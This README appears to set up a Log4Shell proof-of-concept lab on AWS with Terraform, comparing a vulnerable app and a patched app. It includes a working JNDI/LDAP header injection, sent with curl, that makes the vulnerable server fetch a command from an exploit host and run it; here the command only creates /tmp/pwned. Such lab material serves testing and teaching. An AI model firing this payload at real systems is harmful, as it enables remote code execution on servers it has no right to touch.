Log4Shell POC Using Terraform
This terraform creates three instances on a VPC in AWS Cloud:
Please ensure that you have configured aws cli with your Access key ID and Secret access key. In order to ssh into the ec2 instances, please update ssh public key in terraform before running terraform apply
terraform init
terraform plan
terraform apply --auto-approve
Note: This is highly inspired from the original LunaSec advisory. Run at your own risk.
- Trigger the exploit using:
curl ${log4shellapp-ip}:8080 -H 'X-Api-Version: ${jndi:ldap://${jndiexploit-ip}:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
curl ${fixedapp-ip}:8080 -H 'X-Api-Version: ${jndi:ldap://${jndiexploit-ip}:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
- To confirm that the code execution was successful on log4shellapp, notice that the file
/tmp/pwned
was created in log4shellapp's container: ssh into log4shellapp ec2 instance using your private key and run:
sudo docker exec -ti log4shellapp ls /tmp
...
pwned
...
- To confirm that the code execution was unsuccessful on fixedapp, notice that NO file
/tmp/pwned
was created in fixedapp's container: ssh into fixedapp ec2 instance using your private key and run:
sudo docker exec -ti fixedapp ls /tmp
...
...